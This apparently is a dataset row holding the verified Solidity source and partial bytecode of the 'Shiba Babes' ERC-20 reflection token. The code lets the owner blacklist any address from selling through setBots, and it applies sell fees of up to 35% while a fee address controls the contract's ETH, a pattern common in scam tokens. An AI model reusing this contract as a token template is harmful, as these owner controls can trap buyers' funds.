0390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220992839d7fbc68cf284c102e6e29202f3fbdaf97404fb3a8cd3bafbb30564452664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,636 |
0x192ff3721f1ba0d42c185c092beba429066bb588 | /**
*Submitted for verification at Etherscan.io on 2021-07-28
*/
/**
*
* Shiba Babes
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBABABES is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shiba Babes";
string private constant _symbol = unicode"SHIBABES";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 6;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
uint256 private walletLimitDuration;
struct User {
uint256 buy;
uint256 sell;
uint256 sellCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 12;
if(impactFee < 12) {
_impactFee = 12;
} else if(impactFee > 35) {
_impactFee = 35;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(8)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 8;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
if(_cooldownEnabled) {
if (cooldown[to].sellCD == 0) {
cooldown[to].sellCD++;
} else {
cooldown[to].sellCD = block.timestamp + (15 seconds);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
require(!bots[from] && !bots[to]);
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (15 seconds);
walletLimitDuration = block.timestamp + (1 hours);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a9fc35a91161008a578063c9567bf911610064578063c9567bf914610537578063db92dbb61461054e578063dd62ed3e14610579578063e8078d94146105b657610171565b8063a9fc35a9146104ba578063b515566a146104f7578063c3c8cd801461052057610171565b806370a08231146103a8578063715018a6146103e55780638da5cb5b146103fc57806395d89b4114610427578063a9059cbb14610452578063a985ceef1461048f57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c557806345596e2e146103025780635932ead11461032b57806368a3a6a5146103545780636fc3eaec1461039157610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105cd565b60405161019891906137ea565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906132ab565b61060a565b6040516101d591906137cf565b60405180910390f35b3480156101ea57600080fd5b506101f3610628565b60405161020091906139cc565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190613258565b610639565b60405161023d91906137cf565b60405180910390f35b34801561025257600080fd5b5061026d600480360381019061026891906131be565b610712565b005b34801561027b57600080fd5b50610284610802565b60405161029191906139cc565b60405180910390f35b3480156102a657600080fd5b506102af610812565b6040516102bc9190613a41565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e791906131be565b61081b565b6040516102f991906137cf565b60405180910390f35b34801561030e57600080fd5b506103296004803603810190610324919061338e565b610871565b005b34801561033757600080fd5b50610352600480360381019061034d9190613334565b610958565b005b34801561036057600080fd5b5061037b600480360381019061037691906131be565b610a50565b60405161038891906139cc565b60405180910390f35b34801561039d57600080fd5b506103a6610aa7565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906131be565b610b19565b6040516103dc91906139cc565b60405180910390f35b3480156103f157600080fd5b506103fa610b6a565b005b34801561040857600080fd5b50610411610cbd565b60405161041e9190613701565b60405180910390f35b34801561043357600080fd5b5061043c610ce6565b60405161044991906137ea565b60405180910390f35b34801561045e57600080fd5b50610479600480360381019061047491906132ab565b610d23565b60405161048691906137cf565b60405180910390f35b34801561049b57600080fd5b506104a4610d41565b6040516104b191906137cf565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906131be565b610d58565b6040516104ee91906139cc565b60405180910390f35b34801561050357600080fd5b5061051e600480360381019061051991906132eb565b610daf565b005b34801561052c57600080fd5b50610535610fbf565b005b34801561054357600080fd5b5061054c611039565b005b34801561055a57600080fd5b50610563611112565b60405161057091906139cc565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613218565b611144565b6040516105ad91906139cc565b60405180910390f35b3480156105c257600080fd5b506105cb6111cb565b005b60606040518060400160405280600b81526020017f5368696261204261626573000000000000000000000000000000000000000000815250905090565b600061061e6106176116dd565b84846116e5565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106468484846118b0565b610707846106526116dd565b6107028560405180606001604052806028815260200161421760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b86116dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234a9092919063ffffffff16565b6116e5565b600190509392505050565b61071a6116dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079e9061390c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061080d30610b19565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b26116dd565b73ffffffffffffffffffffffffffffffffffffffff16146108d257600080fd5b60338110610915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090c906138ac565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161094d91906139cc565b60405180910390a150565b6109606116dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e49061390c565b60405180910390fd5b80601660156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601660159054906101000a900460ff16604051610a4591906137cf565b60405180910390a150565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610aa09190613be3565b9050919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae86116dd565b73ffffffffffffffffffffffffffffffffffffffff1614610b0857600080fd5b6000479050610b16816123ae565b50565b6000610b63600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612525565b9050919050565b610b726116dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf69061390c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5348494241424553000000000000000000000000000000000000000000000000815250905090565b6000610d37610d306116dd565b84846118b0565b6001905092915050565b6000601660159054906101000a900460ff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610da89190613be3565b9050919050565b610db76116dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b9061390c565b60405180910390fd5b60005b8151811015610fbb57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e9c57610e9b613dba565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f305750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f0f57610f0e613dba565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610fa857600160066000848481518110610f4e57610f4d613dba565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610fb390613ce2565b915050610e47565b5050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110006116dd565b73ffffffffffffffffffffffffffffffffffffffff161461102057600080fd5b600061102b30610b19565b905061103681612593565b50565b6110416116dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c59061390c565b60405180910390fd5b6001601660146101000a81548160ff021916908315150217905550600f426110f69190613b02565b601781905550610e104261110a9190613b02565b601881905550565b600061113f601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111d36116dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112579061390c565b60405180910390fd5b601660149054906101000a900460ff16156112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a79061398c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061134030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006116e5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561138657600080fd5b505afa15801561139a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113be91906131eb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561142057600080fd5b505afa158015611434573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145891906131eb565b6040518363ffffffff1660e01b815260040161147592919061371c565b602060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c791906131eb565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061155030610b19565b60008061155b610cbd565b426040518863ffffffff1660e01b815260040161157d9695949392919061376e565b6060604051808303818588803b15801561159657600080fd5b505af11580156115aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115cf91906133bb565b505050674563918244f4000060118190555042600e81905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611687929190613745565b602060405180830381600087803b1580156116a157600080fd5b505af11580156116b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d99190613361565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c9061396c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bc9061384c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118a391906139cc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611920576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119179061394c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879061380c565b60405180910390fd5b600081116119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca9061392c565b60405180910390fd5b6119db610cbd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a495750611a19610cbd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561228757601660159054906101000a900460ff1615611b6057600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff16611b5f57604051806080016040528060008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055509050505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c0b5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c615750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f4657601660149054906101000a900460ff16611cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cac906139ac565b60405180910390fd5b6002600a819055506008600b81905550601660159054906101000a900460ff1615611e3357426017541115611dcb57601154811115611cf357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6e9061386c565b60405180910390fd5b602d42611d849190613b02565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b426018541115611e32576000611de083610b19565b9050611e126064611e046002683635c9adc5dea0000061281990919063ffffffff16565b61289490919063ffffffff16565b611e2582846128de90919063ffffffff16565b1115611e3057600080fd5b505b5b601660159054906101000a900460ff1615611f45576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541415611ef057600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815480929190611ee6906